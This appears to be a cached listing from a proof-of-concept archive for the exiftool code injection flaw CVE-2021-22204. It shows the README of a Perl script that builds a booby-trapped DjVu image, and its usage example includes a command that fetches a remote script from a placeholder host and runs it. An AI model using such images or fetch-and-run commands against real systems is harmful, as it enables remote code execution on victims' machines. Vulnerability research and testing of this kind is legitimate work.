Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22204 PoC — exiftool 代码注入漏洞

Source
Associated Vulnerability
Title:exiftool 代码注入漏洞 (CVE-2021-22204)
Description:exiftool是一个应用软件。使元数据更易于访问。 ExifTool 7.44版本及之前版本存在代码注入漏洞,该漏洞允许在解析恶意图像时任意执行代码。
Description
POC for exiftool vuln (CVE-2021-22204).
Readme
# POC-CVE-2021-22204

https://nvd.nist.gov/vuln/detail/CVE-2021-22204

This is just a convenience script I wrote for testing.

## Output
~~~Shell
Usage ./build_image.pl <cmd to inject>
        Note: if your cmd contains unix special characters use quote!
        EG: ./build_image.pl "curl xxxx.com/script.sh|sh"
This poc generates an image file (notevil.jpg) to be proccessed by vulnerable exiftool.
And requires DjVuLibre to be installed and in PATH
         See: http://djvu.sourceforge.net/
---

[+] Preparing annotation file.
[+] Creating image file with: djvumake notevil.jpg INFO=0,0 BGjp=/dev/null ANTa=ant.out
[+] notevil.jpg created.
~~~
File Snapshot

[4.0K] /data/pocs/71103843fd156a3548c57ee1c6c02602802a6eb3 ├── [1.2K] build_image.pl └── [ 648] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.